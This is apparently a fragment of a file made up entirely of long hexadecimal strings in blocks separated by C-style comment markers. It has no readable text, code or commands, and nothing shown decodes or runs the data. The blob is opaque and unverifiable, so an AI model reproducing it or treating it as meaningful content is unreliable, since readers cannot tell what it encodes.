03a84f4c26b2daecbd5147ee32a9bcfdfe3e1c4ac4c663800f6d0359146d249e301b4742e97ce35c7a3cf911d1524d2644d0e6d4fb41cd639a08a17f8dd6cfef4b78deb98267700bd7629dc6b71186a5f6f6d5d077156b82506df9586a5f5b44a32a4450a7879e6389e823af8f4e67dcc50e31c5fd38828418dbd9daad4198820ddc461b632013104ec292f1a8964eab6ae7a0d88ba214f88047487dd020bfc15323b1c35115cf6230e4966e38981dcd3d3ffba14fada2a52c780aa6adaa7fc3e3730c00090691d19d70aeca0bd753cacacada849153bcec43ff6a64aa8213cdaf520d4dd4583b5d08832fc3039b86ee48c143319b78c3e434de770775f6afac9daa170696bcde84ec9da0fbaf0a1ae33938d886bb1e77e6b092cf9dc056c7729b321173105437c8168abcfe3c1cc6b86c1d9d153fc10276f0a4d75c17def2d6a317fa59847380abeab96218933abda629abf442841845cf696be63eccd6bb38c0a67e198b1c6706a4741a14c68f29b268a44967f914e376b0e8d8f732a34a9db15d9d48bf34f307f8276339c9bbe76028e9524e19da64581060ad8bba0b914e5382d03b61736ac46bea6204f9ad125efbad5e02492dee937dde4f71ab9e1e094138830cdef15475e8b5c8a6c712f89bb6cc9f6349c8738d2d4338f6e81f4629a1b4407522212a38989b289dcbd4a9720dce144c2ae9f2ae444f0e4c3482e72fadb82aaca962d2a57fc4691b80e1dfedfbe2dd2013d51365f32f55f1ad0ff3ad426d9dec1069e9f2db21aba3a571f4c6071c9c83e1348d7608ec0051ff04b8f3ba15c9100ff3a8e6075bcca10f46c6739f2cc9ffae436afe4955f6b3409aec7765d572d841254324ea4fae4a47fc46e9bda189066f316781f3d09f6baa0eda2aa26bebd690e0e61695251265b378052b0f46794c323846af09a6dd23683db0ce59c9d3978ad05b279bb0b27f986889f67f604b012b977408d18f1680174b9b7231e7cec9f8b5ae95fc9e4c04ed42f43a84d0707025eb3f6820dd879c4e04206c028257f3de9ce1c1f23484f98936870244476396c8f958dde9014d7b47e852e42c44e8b00ff676d052561681d207a90dcfeb7d478d477bea81541d3715594546c9107f083d0f16c6a6abfd2db42b89249cf3d07042360ca2674735d334777e4d111910f58b32b35c41b15e91fa67e22b1f6cf7127973e46a3febba152ddb9c2a59e223f10ad3829c72*/
/*ac729ca746d0a6e12824019fc389ad51bc54b435ea2b8b6952479b827831e238920b3e89f1043eddd8e87e619df8d4fb1948e356f3e93b243631926ba69587f18f99d3a01ae0b236c529217850eb08544c863d1befc6347a347137ae1249c7b9b24e4b4dc0ff31a31e2f4540825863b6dcb9393aae1168b9db2d56b5802515ea4ed1a9cad1b2ca91a72852ba3778c674410eae4644b3336e85b3e9bb9e3a878c4c14663c7b8ebcc5a68c97fe467eb5830f3edf33b455095c8b74eeba7ad96470c8539938674f214df2dd2dfc615bdb9835524a2be6aaf2669d917e288a30fbba386887d180cc32928e63580c1e7995f993c6d9e9bb464efae3bcaca2d45219758b30bdf321dba00142208d10f1291c4ee59b9a9e65b0845830659bcd35972c85f774e6f6cc1f15839e0766a26ae07cbd49e0cb7c0d11e9d17947b608aa1dda3074707260d89532a4659d044883b893b47f8dc0d118e4c07272128f6094e56ddc5ebc35b353395bc6ec1443b4ecb5cac3120c7cb1b75c49796f65492a91f7c3d92fc04ec68ba209be0aa98ad4f6d469a6cd0c02fb86b8e8299d6c53dc095c0c8bd907d5af4b37d43f2df82c5d76d521ebc7e7d382d5548a26435668e2cf56ad6de68e9f874d0f4789aa41e8f337d539e334f77e6a57b15ecbff71cee2e275232306106b9f3fb6a222efda17b14c325c5654dbc672394de9c039b4b42c52a362dfec79ebf4c8cc230acca62550e76e3754e3709f4001a272a88be89dafe60eab17dd026648bba7e3caa5a62b0e7baf6bf8c8852d6b174bbd304112382569ab2d3cacec3127c397ce8dc122796c46c18a1985479d5cad41a793f8fb72d322b40054b085717c6b5961d4503a24270a0af8935e341439f5595c384005e30ee5b14dd4a3751140b11f1e3d6fcf7d5455c10a851178633ac1ae11dccc3e2b0e97ebd5dae6aa39b81b1f537f8d13508e8d433fddcb187d1fed0ee1a62b3b31d16e0a2ca97071f898a94cfe8afe089690bb92d7494bd93b662f60c1fb662b1c03d08696ff022238eea3ca291e45d414363b4303c283bcadf7103a334e761420252e144569c6dcaabad6087de3ed3e2d60c1590a809abc4501316b88e43798e702ef28240e51d963ab5b5585c23bc175d9c4eab220cfa85722206f7ab9f4e4aa7e1415c34f85f18b4727192a64d1671cd6e8198e90c7c6d1c47aa88366b200e40e901db0a2b0f5dce29f9f8634785f48b7c55c3f1b220a7893878f4a5bdc30a4f7fbf6f62fb8144ebd69edbb92fa3a03915c4b99fd69cb6cc6f599435548ab949d9fb626d3dd0f623091fad9715902b7df70b3b5006b7cb3aa0fbce226d5b102ad4fe21dd30cc4935a00b7b583505ee491b7caee828e238cecb3ed8b347b77c39baa179272ff6695e9450fea40e8515fe3f89a3e90a13a3a8a7d3b5b3a2f31cf169a22f4566a0d2f53ecac732f49b12be7b601492eb3a1471551ebbeb5f669d47cd955d98368bc9f1b9a70fcba1e910591965cf7b967510324b6e569505aa39da0b6397d5d6a47537bb7a05ee12647eef9994020a8555a5ae5b480d8837ef83eaf58d212ae7a3970f4d6b3fcb657ca9894af65c6600d01a818a472267c1ae0ef075e4ad8e4e464c2422298ad1a7b4ad1ea6cd115b16244a3a277abaeafce1736d7730f1028167cf6881e96c0d03133bfc83ed56638c4d33c1670e25288e59b0ad5bde250990cf4b581899455b4684360db99c31e10aa32392da2537fbc1fa711f43e2d8248e24873c9e7bac05397aa563068bc3d30fa62a9bd597619ab1867462af5c162b5ea140cbec0a06f26315c229b133d0461cc61ae0aa614694723f31a39f1abce49ba23ec56eab3624ba016e75428ddf2f79f22ce38e60f22a4332487b0a6141da6bb736d9a362e82a5c7b9dc3aa10cc74e72ee0cd9b652f4f775b51a7b5b8f2b06f10d953c1020eeae277616261b8e026b1c4b9587e5527434d062e6c7aa041746c429f85b4aa7d34eda24d60c1b3afe206b8e5c3deb2cd9978e125cd1339bb15cfe8506528f6d4edbc5de0d14e1624a28676876b2bb1d0dfa1bd7f586c8bcabf58a2017af174626bd091e2685087d9915819800bd0f94ca44c2e1804cf066f766cd8134da99659404a3b94197c8828c6817d7ed8d25692debfef9bcf8b033f2c18059497909f6db0bd688d4541e876cd5b033ff57e84d24474fbb4d337c26c65d580f080ed548cdce67d1e6af8a09852662b7b7f850e0c0cf22195ff4c2c1194da9e1d63d2bad51bc367ea1ab59557d1f62e95ea1c9563388f773d318108176d9eedd5351515a1dce584ac8ff52311f12c08534e9ac9ddd86697139c647671427befef6cc644fccad7869235eaa3b40ec8437048587d34e922155f0b04fb273d5286e0f0fdabc89279da5ae722be540cf84ecabfa27ee38453cf3aee07f9cf7280d71462d3027f7cc064a7bf4056bd8a7e4b5ee38a44b5d0dbcc4def33f2b3efd4e06413d99ba4053e9224c872ea928872cd4e6ec15e9611d3bf7a941bd42b11687a231cb45ce1b950ce0c5105c1498531c3dd958fcb86a1a75ec3e15769d64fb7a5f87bd328819634e3c97420ea92a4ff5b3ee2c568eb4b2c56b097eca911536f005a945b5489729957ec3fd673d061046a97eddecd34e638d3922ebec52eec57e871e07ab6e5b77293553ff720bcc2a8e2e29402383234bb46d08bd7038b5c8083a271df1dcc3792f9e19b3e39fd8a1cb28e16b486065f88a08eb9c3616d601ef248473a6e91e106ebb43b9770cdb4ff7e813d353505395e5ab2b4fb10e7049ba82035523dcdbc522df08a22dd0cca0*/
/*46cf0b64e5da5dbe1a043afbc4564ace24e62ccbe1d4f5314cd0fa47f22aef6ed87db9ccb8296261134beec773ec451d093b6ccbd12ff4d3b8566342fd9c0716a7f393b515103849604887c0125724998ad3087d78b9c55e0b5e5c3f849cc198df71c29ad35469bbd19c10a783bb6ca47105a85571f1a3d67edfb86e0d34e1a70910297a50f7d6fe0d8509abc3527bc37977b7f8c937ce12ed674c5ac8725eb45d5b531a89507bc25d62b8c8ab165e9c9bdf59d0ed2153a2cdb47afb12e3d608b88f489078fe110868bdb65912b23fcec1ba5fa4d2d7aafc709256088323031f3c721438201d217a3791ea26449a98e2db8ca867964fc928f2c6570c46fd55415edaa15696f0f4e7371bf6d7cc97d758392d1fe335229002f43f37b3a1ff705ba7c5e2435cba0592ec087ae34cbcf47f49f8517627dd3a62f3615d2c20bea3e3f8119545be3f3cf0c0cb446d98ea7a1bf2df3f4ce8bdec8eb973689f0ba06d4fbf6cee4a883a403c6e01e426e60cff178535e6675b5a56fee18b87f8acd9dda6210b069dcf5a663e31193892299ec85b2e8b8cb9a7c6ecc8f38a61e9598f8572a160da27b1ecc06512bc3fd31d74d5b45835e2c7d6bc735bc572814b5b94fee2c428b706cb64679676e0997ab9dcb60974ca5730dfae0a4f1f14fcf5b316ab9ad4e58511ca9811a05575c95452ec8c51bd84181083d50cae10f0fa9f41258bb3427a062e36a8ee75a711966f27342e5a6514704faefd132c1743e4152b1e113c853876d52f43f1c4fecdfb281cdc0ff9d3f411b8a2a514edd45a0bfb2b777f7990ea26d3e9957278b18c0c89ab33a8f7f767949921f9db7c9fbf3aba3f3058d051740cc949684af6b55d45001fead15df496dd110d5cc5f37b707664ffe5f3f2b94838a69bd52fcf688a812c1c46d8a07b2270b4057adb45becf4f069557313bf8916660b8b9b7190dd748713be0070068b35e78e7278f7fba774b4f448d82c82ca929eb56ad4d8a724f7ad9bc1aaba7b290f34004d44450f1751a8c7250f9996a8bded883f382bd1213e9664aff2d14f778b068adf34fe283f9980767f2b8f692f472ed26968b642e549fdafd067c940fb285516e1dce4ba883b7f1ee03586c80550be2978efca7fe1b973a101f01eda7c344904b44d70336b10932d4cdc2d67fce194ff7df0bc04f161a70ea85f6465c22e1628914f18804e0bedf50caa639b485551239862aa042281eba608a5456235ed8b0217b7490d836176fd11b0e7c565277d42fee7daf57e91e7d52f097d3f68fb162da23aae563fc1390243e8da48fe8a7243a524017ff80256a7d455152b3af529b1564db3e7bc11230ea09838e73c861b81de0410df2631981ca16e38d542dcb98a5e42e6b776200d9f93c54f07b4e40fe8e74fe4f00bc73b6d9f2c2776d9d069f8e49307a9605a358640f92490e286d8d49ce17182e88a70aceff39cd6f3a39551c5445033ae9c66d5f217a2c3ef67e1694482bce710d3f1b32fe25472f78d17f3a48cf5591cfdb2692a9078e8d4f71a4b6f5fffa866f211885b58dad62e71fb17837ab719251a7acb3c96aecd644ae6863c07a926ccbaeaeea8fbab6412a54c79bd6c6e09432a28c11093bdcf048375557d92f42a942335cf8ad507d103cec3f3befa3fd7df1baab8c5351956e58443d324417a988aebd3722a872b739fa12db7ba650876e66a6fc84bf0e6431209f0b46d2585931686f84fa82e03d6c48f030e7a62c9ff70835d0f84c60fde37ae6d068077e784de8e0cc51b057cec55ab414bfb1d5061603992677cc036bad3cebe93e7a09d8645a31745f979ed437d9006c91a57ea25d95938179332a27192c6c72319444a533eaf027db27915bf542fb5e82952f44c98e5b0780cb10fa4d4fe7471256bff4ed3653a19809f3521a53306fe21767173cf2f9a7a235c66ccddbf0f3e48a13fba2d331472968bc0d7ed6db747ad791d69b1a9ec3364820555bd40b3c3e8c2f659fa9eea15008d2c4dfc6dcbe43078a0906c2bef65e77c7c7acb6ef3b0a852d089442f6ac34649e4aaeefda31066666e909a459a25d19af0ca3b5c8556eb3578dbe6ada6f6f82626d4901268befe02d25e088e1f019fa53b74beb8dde411d9d9a12fc2feea5192ba8ef5411f0ab76a22bcc2c270d84fc68a2fc0d9351f0fffc20aeaea1d3dd000c166825ffaa0c3b5542ec8a7b9ec3f64ccf91dd26bc04bd522beb2bf10c84c9e67130c92686b8ff35dd2743b942d891b3adc3e43d70192c022d499332e82f9eec1168c0c5e27b16aa7d1ee4639dd2e597c8d641a83adebdeaa532d65fdc9719db9ba9cf27fd0c38b52a9e25f4310308c05c5a26101718df0ffc8169e282602cf99b1cbbb62c4cad78f2c4034c320f0bed817961ebd49a7f450f03fee77c163dd6c7976a9982d75c0057ce29fb1b2c4513f8f515abad0ee2d6fcbe36412fe400233205b8e9df8662e4fa931b4791a5a8cf9550e688aa706a1b1f21bb2e96eef8a7b618ffd024944ebcdced8bdeaf5e1493bc8fd8ebb60c58155dae76173d883b6001b426b4e2f61df9e1eafc6127dfd39093d4129b34fb7e6f3f56bd1db0231e442191e1d2492c42a83b67a3ed590d4abaf1c7f425632eb0887e09c3f189f4c55e0cf1588de6a56279b3f50c1b97c0e8207ba2be2265296dc2ebdbe4fd8b751d37420b3c52035463555a8d210d7bb429eb6bafbe873e53343440402204c24ce7ce0f9d1445c4d0ea3f78540751afbf0e457a7e4a6a08ca96f60abc9ac83b0f0f61f944e5cb39db6d5fe9fa4a407b097ed466d039c4dfb2e927742627f0377d51d5e0*/
/*21a996aff5e253c4c25e12cadb1b51c21febca13aa7baadd36dc8d64e782d56f80e2b8ef43ec062fe45a5f7688f6a9e7f3f75af1270b2788391f2b578920b1c2b80c0cbf92565ae85750bb79e6840da88f371156b7cce4a4e9043c112b38c530a7218f40de1868a58d62ba0b64df1c54365f8474c6ba0293bec763d1d6d4355e4401ceed2d3d899f4b81db213310aab854cfcf2dcb891011af68c12b93606406ce86c0f71f2af2695e5dc4c772774f0c71c382683259725b9f38214e0dc14096757d97f9790ca0dc56a623fb4b43e338e6b7316b2a3634481d66b1011d16d5491bc02c59b3ae3aa1c08c25955d6f3e1c693f47862ddc5ae04ee92aeb2a0ece005e018cef749484575acca581dffe2c8eb350a631e7f485e6e718d72ae76b1770069cdb31335dc7b6df9aae2f2f6030f9749e1353513c9cf13a6d1709b8dba20090cca43b8e4e0d5d67472e239a4e5ca99a15abf3041b0ec3a43d743b1ce60cc1866b6a1aed035dfdab481ff1cb4c1c21fa35daa5c3be24e1be0cc130f80b50de7cd8ab0215ac0ae8d2189bf413763bed98c859b2cd320b52d4e6f2871d095a06e7c7d5dd937883691561214d227852de138ef25f7a92f215d700f57d1ab1d7e3448c97ef645600fa5138b7312696e074e71f0df118707971a2f2b25ced698e44219e62fae1c256e1b96d38f91747bac4fa5a9ef843da86f7883d4eb2fdc59ec910ff2b02a10612312cae477cdad16a04ffe4e4b7155fa182fdcec6785bfdb59cb84e880911e2d899aa4e99faa2b79b71a2db8077e5c8ac57c5e7cf6652cd7b4c4efc5ba7a834daf181c4149d65c2dbf51c3927c1d8471d5ca17b5d1907eb519c3198049ab6b016c104a62ff5446f674deb050d9be393338a8dee55f5f821f05b760300aafb276223853ea2afa3257b41e2b8dcbef8cba938bbd1d0bc710b32509ef7bc324418a481935c89154f314a204c5fded16fc1b4b8b509b4ca1a0380329cd442b66e0492805cfff2436a6ea9ff07aa3a9bceb8f91f42d25befcdfbafb9daf57c655a23fd52dcd2f93f3fed66b813aa02a490631443115c03c09cda6b68989a24213ea1e15a460a278ca7dd1a4238f840b941ee1537777c56b23bc49757a2933fa9199f18cc4634a16c8da5beb9b510fe34a55a4be857b45829861bcd6aa276bfc132c83f64ad4067fb09c871dafdc55dcc2c13f59eca60b75621959ac15f63ae74eb48d184e095ec9ec1280706ac910e6b362239a0f0f4035fd540ce5d1537ee2a944d2815c278f8d42272729d4f12cb128df09e4a7bcb25e77db6c8449c55ca8b5f046123ee9034fe62b6dca5d1ea7cc34785f83d2399259bf792e7249bc3915241be359d10f5632448da78c7aae3db4ae006f48ea0b44dd7a5ff7540ebad035b3606297e3971cdf715d4d377d8b168a026fa844e04cc83eb0696c1475cb004e4d0ffa9fc367265ed4272958c2bf3143da9da7bba59b3c31d4b9d77741cbc8880a4c0048a78a2aecad4b370263bbd59ee031be0dad6c4762ccfb1417d657af3e8418883c44364e3e670cd4848e8397c5c5d3db4291e18f0a43085aafd6b2eae5d6db5c18e6694c91874abfcc12700ab24e77642084ff36e691e2ef027dcdbb7f221c292675c4223614eda4bfd7f0b3ec075c4fff4bb3e93b968db7b9ae74812ae679700ecb24532aa6ae910a3a062bf5bf2101b19fd39af9041ce6136461876ec659bd2032610a7b906148bc87cb2a5022ee75237a50f34e86398d688b5cdf69007ea3c603fa71eb1e1fd0c072a7339a7ece4c0608359529860fd7a1d31003a5b979ce35fd590fe0eb39812928711ce97fa11f48e14da692539e97c410beb3446187a9090c129b88b9157c5e0f41125d2942a6e3f69aa3372f114910d39b28767096cb14419bba65ae993775433029cfa016c82bcd0247ff011babdfad53328723d3157f935de39d0fff69d45c4c7e6ce37a9ac50b19791801a035f15a16291a615e9825748db48f0eddece7cdd9b85b9b47fb713da108f280d966d08f50818bcb47d7e0ec501396751e4309b20c80ec2ce79db94935fd6030032e442f3e590b5ef5482f898cbd97a9c57a56cef0c8e723fcd4a71ad5a393ab5047c503bca357d68c49bd8f2d1cf176a54121be257de9ba9e84687f49a40e14dbd2f2740b154d1ba8b8f7c8452e9bacef069cef6ef2bf08cb910729c9239b4e87c5a368df6bd606b2c1aa8b89fe1a044e2a38fb201eb701b90e1a36b8359502466bbf7e82d3865fb2ed60d8fec4678b2775ee040ddc0f66364cf88f92464d47a1034084ac8fa92c83ecffe12f4975aa92cf084c67c663ce96d63cd43b07171f9253fe6e67eff1d5b899fee64a8da00e9319844ac3c08f1a685871b6740f7c38d2244e20a934d1214e2258764eea1b41204713ace1c6ae0d9e4d7885b6998d295b5c0c4b8b5b25b207245b90f78f27e118d615988797e7d6f264259478a402f9405003b3801f9bc85a0acb8ccbe13f551db8f58ce9fa1bcfd6a655e53c7b7692b39c2febc178f8ca0743e629f810eea98f9d93b6300936573d0b6e658cf87bf7b892f9ac887cc7bc78b4b8627478b1f1d87a83745245b88b3ea2dc412695bafccf31f0e8c5bbe18189c1bd3eaa0c4243548744ebe1f4f39b1c1c2b4c117b68db33a21b36c8e407c5a970728e675d16efe07399c28259f00119bc77882994ffe899a3d4991aad83579a4e95fb5f4e305b62ecbb4a88aa6de34f22029533afbe7c441deb233dd8ee3bb4536e695991937b64d6c7d92f88f36c374231fd756a947ce3e8bc29a72a38cb0a05b91440ae770e2763577*/
/*00bcc1cda0377c3e91570884a25e28049e33a5c0803c1bf592baca387a1204e340e6e6e5d8046a5d013a9a06709853569a78a70fd6c5c183735707ad304014279e369b14e4b04c716b9fd248e94eec800a529b86a58260483ba354a5eca65a32cda190192df4e2eacc7a80d514a1af602d11d46435150b03d2afde72d94b02c3697d88f6a89b060be6825d508cdc1b0e3a56460a169e01a5fe1d5d8148d70055ba3644d7a87b719a7f85c62d72ddd4f9167744d0411531073a64afbec84af9c6f1eb7cf1199245da7ed1e9c199ef4ff6337d55df302c4d11fae77fbf503778837df32971446d39e65632208b9b091b0f1c16a7ba46da6f3d3a88a50661a6aaf2eb8fe9b4709e617642dddb95489aa6937452fb02a7a7f13f5cabe09fd7e14272ab422707fcbfe5683ff6e138f8ae0d2b52d2385c473e77307fb8d95b86a547b95afb0e60345564dbc83974d6d6ba717f054de0376dae60ea51952bf076431cc4df3d8ab62dc22bdd7984408014fd96fe6c9430d7393a794fc5a3056ad55a2299a6aa1020041ef14e5c1a691d8ec7da107fd0827958ddb681741b229fa8dd07ada8fdfaffd61c5f83d32b568b568717018b7fb0c7fc9b8341c2d77a7a2856f318f3b2461278094ead5cd6bad982eeb527a7cd86e722d0d9ba679b57c43b4033462af7f52b381d39fc9c0699644e505f50447ebf5ef6159335f62b569db5e657037130579e87a16e6185b0520124f30229168f3a5b216c485332361051d59c7eab9da0126bf7f00c858dcc3208ec68f2c66b3db17975fac469b147004d09f9ed9859556bb42627a5e680b7f0e8d57d7283840005db12ea092a8810eb66c5b8b0202bdbcfd83ad0a5860e04c34236aee497346339c1212d366382db7df9259c237a028e267669a464d38953b5fb9b4fe2fb40feee10901ab6a1b897bc9289e90874016e25a9238e64f2458526c2621c8c8af7f8eb6c2d5e0fee0d81fa0fe46b5321fa7ca028903867aaad05a86d25818c14ed862c9d58821fb5bd69a764ef3bb91c9bac734ac035fbdb17cc30620e1eba5b126d3b9ebf2af0d4d6dfcc9681c8b949bed70c60098acb1b89eb45b670505c0bcafbbce485d90975ee3b8eca1080fa966ed67a8bedd23ca6962fc2d4a121c745301d53ac914ea329b2af5decd4a42c7d58df3178443c7f5b37db80ba3aec6db66f37ed013759222a247dcdbe0e2b6618fdca5bf06c5ec3b18e6a9aca8534734ec045ea4bb257fbf45a9a37e632ea8072ec0e20444da850b31ab44c3da572974039031397ba10cdce65ce6510ce1e8218c4850a858362901bde83401cc02d9c4f52ea6706db4880cdff7b31eb095757b7b0a71a4ba6078d18efec980017aaf246321b58a07087bd4de7b78b3357add6a704fe9418d6ee740417dfa77b4beb914d36837f15149da8ac6c5e1b5502d7521be2c6a37fa4e2012bcd0e6a55c55d3c696c240755f3d5e5e25887a155ec93337eef4a2bd60406c318915a36ff4b28da0d7b23211b2ca17e527e8751ec2096dccd55740faed6c7a5f74ca2c983ce5e221ac6716e7041c3da9d8c58661e3bee3680c675d875b78b164b07a12ebbcbf349b9f1c968e3f618a3393b97e23040bfdc64698090f3732664b11cfab6d174b8222be9477a4c9ec30bcce8a8c0374f949611da38b2fd6b4969f5270c8480e08d50789bce27235a524039074c94d07d127f64b942c117426683f5aeb0c002106e9ae4c24b7d238fada1475a6aa4a2798e3aacc9c666a8b411a28b564a59028b4e02bd836cd50674dcb0b0a721019c6517924b594da54fbe5990e6cc31885f79d3554bbc8e17f23849fab16b79827b16abea07e06e51144830b3b351a17977358750c85fdeaf78f1ea84abddcd7eec72d660c984ac9be658ab5c02d52aef75b1efccbcf858459d3482ff49e1a7f36c45b1579e662843322a8d0364ec766a4994d6a68e91c3125446fef1e3972eae38f8c13e51e27e68da6a20d079a6ceeb5ed1c65eb8a967b8602c1bdb9c5a57ac93eb64b82ff70125145c00347df3d30099806a70fba33ba3595b8ee28597ed13def255b0e72db20a2801e0d5d0dbf178c273b0e345e6e6808961dee8ca7abcc2c5ed8e35a62db6f85dcb6d973638222336352eb60d497071e1bcbaef135c1bde5713caf2a20d17e13729958eeae024888c3347ed40ac7be48c8a0bbf4393232fa1bfefe7338c5d3cbf89c05c158f684df2401325d7c112b063ab7e06791e554db8c9d43a737e0a98b4074198d016ca3cefcdaf0ef077822680178f5c34cd776cdb24051981cae0bbe81358c211461d7fb50eb727ab626b394528bca860fa8215cea1cd3ed5d7a273d97662df76d30226afacd6cdd2c021cc1336e379676ef67882113916bbd311ca2c9a94f5f9e7f766374a2cdabf7df8b0d3c1fa11fb5b8041cfb50ed33f56f53cc7b5ccc3c1704e418ce5d5651ad760aa78800952ce486452c6fb37fd06838a3cf1940f0247a3e1a43e9356a2795b19b7f7dd2db52942be31cffaa73cb76637ea5aaa4f8b4d14a83ed86867f8a06ae5da702b37f33a1bb6641d28f8db25aab900931431f9fc4f9fd072fd6274378510afb098fe9611bf08e44dd2e8bff37080b89d8488fe37ce20572d52ea63494fed2e306952f49bb079f30ce759897ad37dca00a529ce86818a42f123f8e886ffd40778234409583f293beab0f846bea284c82f16811d0d3a4a873e4cf3c07e826de3f63040b818173d17f5458261780a9f627a9afe151fb1fe0d80bfe085e20d10860bb88c7b753531fd2c4e003c60059027b979e6e16cef08b9765bc89486*/
/*3b6c1af8d0181f3e2c4f543f3fd0b3e6487e151f2abbe9c1bfa20f6759869bf5b7cc72e027ce498cc9501d7a8e2f311e21cc21ee833e7ad36d2df66dfa88d7a8029ce06b5c23f2da7d2ed7c2fd0eb7eb790d26ddd2aece4abd865b16e5617f886a532c87492b21dc0b9b034bbccab5bf8c6bbbde833b65d4c86761e31768bee2ec8e361a44fcfe9938a77734e4e4746850419acb67cac751bda49ff55db97934e8e61aa5e3e30fcb13b690521a12d27f1c7bd765d81dd8190e322459b2002ba38f4fa3e1aabaa017df0f025f9ec5d0d45e40f0dd0afae42be2af5e708b80e5dc128c45a19723d0092f59574cf346b70652261cf7b9e2d1ade70a78dfbfd629a19813abd3237bf39cc59dfa93569ff89e0c9714b7d8cad89973635edd54da6664ffeebe6fbc1d2e8ebe18a0dbeffb68adb804417259e009917976d8fe251b9b6080b02d8c6d152f65bb99115efb56c665e2471b02caddfabbf804f299ac8e723e29ee9b0c838ac606299e03367c0f53412026e1d56ac3d07968982f79cd6c027b56e082648e18c3e485e519742778110da5f63640a97efe6e1a6520bc78328bbe1c61924816dd43269c82d4d967dfe4e87cfe072790943dbf88b57902cd2a5a53e61d6e5746435672438ee61aae7ed080cdf105e18a922468b9eb0008f6fd055f0c8abfbed25b019afc8aad54842ed60bdf476dfea98d7c2ff4fcf0530f26a96a934f6b311274c9f9be59830a48bf3461b0b8268b472983e8cd899b9e400389e33b965c77e4c466593e21d2d9d58e81437692fc9c895379533fff47712a0b67453da0aa75062aa0085805c138b1eb2fdea81b0e819faf33f89238c4b89081293c880c16eb266ed568820af60e530da245ebf89332f12dd0c91e7f3ed8b623b2cbd7e258e33c5c6e9e609aa9244db46500cdfdc59255c3224b46a36f5d4f584d478d87540349700f1af11bdd235d1a6d756c72c9645f34b181609924805a14ef4008594393e2789e1c5d15a55f4caf086531c563417a11d8d5ec07a8db07d8865176e6011c8a8ae3fd28d6f9794b86b15a9a1ea2831f930b3dbd51de56536a25afdd8ca92b37d80ff52143cb6fa5fdda87dcabbfdd2ba662bc8fac77a42e05d1a99f3977e6d8b43beb0009ce79ed3ff034f8ae65793a8ab19ad3e051d813a266c63a34dedea48a7526acc276348e46785a0fdf1e901892f0b99c33b10847bd9211fdcc84272ffc92caad9730e4e90eded5772169d99b29e9f41e7990d6fe251cdcbd79c2d6a16d17ea5b7f61d1795cbfbb1b5afe78843145fe94e3f52b904afd2fb2dcab3222253e9e0f239d1c7abb1f1361cced3f215a213062baabe6935bd89d8c6754ccdc687a1a6592e210d71bd0e489443a89be2a52067297b8f42564d27ec4d850e9cc3dff0d1a05a6b1efd057001f2f20515fb3841fadafd9c01b667b8eae082876426fa0c8f8d86408caf3909acab1acb6bb6c2ad11db184e3bfbd410cc1d9474e919a1e5a6ed8b8ef830b55db769ded017eb7fa19ce7efc8662a3a77528cc4074f0d5d6c392f1acb6a5fe6224f2c04ddb0bf9edcc17bfc02ed2dcdf809764def378c4519619511b2c7c86de10e43df26defa4b9e676387d3573691c9d1222b778962d9e61ed5f662293abb21bfb88a70b9ab04416c8fcca8c6c5264a296f627da4d1f9df5c3b03e64530fbab8ed98903a49e05797101fea7acfa2db659869b80871a79367699aa22e079c613d3a7d6012460f7b8428910f5b765e1f21f931286d13f477d5ecd9c6718a29c128ed7c3d75add129ef01716c3aae1070eeaff80b7daef9335903c047a422c04383f93eaa6b595850eb06fae68266ef1dc3a343e55bacbbdff2bab642be3544f3cc675b0207ec1fc22a74c70dca8abcb72cb189daafa0bf39249464ce5f082145b98d4a98ae22749f6af589fb06c0724385f6f9ebbfddb897c5f868a1b62a78539133713684b33b81ace19a3fd0c14f0aa8cc076c2c53d1ef3457d6cdbdaadcf4e68c9f0f989b0532791d7a963de6a11549060c31854f56b3d0200e35f3602a0761c1388b1e56c9db0bf41db64f53e7f587a798d21a2ca7c43953e0a6ff2fc2d762af0f0091e73ba305f217581f3b1430f50051d8b3bb3cfebeeb505a21b6801dac6c49bb2ab8e2159b15971449f6f9c0bab21aad7e05965730b247200f7740cd7dc650e804d65403bab9aab0ca36687eff79cce07849d92dcf4d3dc61de158158ce67164c3d2c1c2ad3a4123d7fe1d5868a16aae2f7fe287d5779bb4c62b6eb3ecbbab5efed7608f27230ac450d0b5e07e031ca493b9047be74b063fbd84246236588ec65d320302c12c8d174d9616cb394a8603ab7ecef141d31969ab316f8d0116daa25e265f84d542a03d4af5d57d1218bb71bb9faad09900be6f22b474e79f2e1f1ee5ad484ea0c227644e9b3480433fe0e0545909a9d81ab963facc1ec4f60842f9fc8c532060fb756b14f4abf057328007de5459529910c0d223a6b1b519c8c1e8a6b6e0951c093a42cce3c3a612cdf3da9e1c708065d7aafa23392ea6c1ca76b44f2c014a1e9b7fe6b88eefded7811efec95153fad9be3756633ce6b48d3fe771516c47d62517b2cfb3a4278f653ffcf8adac609cada5ac22d8db0365cb4f12f10b34adc062a692de870b3872fb766eb05d436f0415b8dce750ea300ee35823eee6317491d3287a7d71bca5a5abd1913e7ef9e5edbce2fbcebcf079e31fce63f8a88705035366e9ebb0733255bc3c346a16f63b6d62df548825e83d267e1890cd75f4a3c3ea2d562c6be994269c586c4a0fb24190e87e190fe2fd03f1b8*/
/*0033f7fbead7527351a7684a180ca652fef1c89ff426fb0627b75c4c27fe2fd6335aace53f1e231de11ed8ba844656d151939a35fb7b97f99a023e2eea54b18c717956c3ae3c103a5040fd2941407d54e53ae0f608094b3a9bfc2aa324d26687c9d9ebab7c0cdf2d0621e43271df08c6288db82571d4409594e6575643b7713d17e30f9e0d1aa90e91ac436f07be24fce670c31020e7a5ec9c31f4d196e82e5bd9e89f018c9a474ed50993042b36d514237774e79ea8c7f5e8426b99befad1d85e68e889a5c88941d582732588f77b13152686ee99b5d8c9d368f157cf70c68ff4bf94517d4324d3fbe7e8000a3f71237a113bdd59554e9eedd94ff2772aed2754a3033a94d681518d3bc54f43464cbe7c782d17219352f0e771b446e035d77ac78e162e1f262ab1aa776e899e52e085165619ef56b3faebc58186289da784cb706ba15a741ada8760386f3c3bd9bb5bdb633d57b45a0785f1466573ad28a0e705a4793810f34a2b38a797828441d444deb5e1691dbef537793f39033fce2ae6eab9cbd3a83253dd3e760953a8e13d396d44c60e3024f5ed0a309c9282169d8cf7a438676a48d8cb68c69befd050b17f1ccde26bb11a6d5eab01449cd5e9be76cf47475c1a90e86e519db9170d33ce28fde6f3fc011001309ab588f13ef9e2837046d455bea00f6b98b5540bfda4e6d7385e35059b52b6f565370f56e1df611993884324344567a8edd7e551f07176db32e341eecf6db92c73af1574dba9d12c57078a552ee36b6dde8d47fec5ca0445f569a33579f6d9f7d6a5855e9c8e5fd119eb13532148d505fc6178d88a86f8a1aa994ea930d93f8844dc031da16d2023f9315b123f616ad6fb852a6fd1716ef1027fc565002b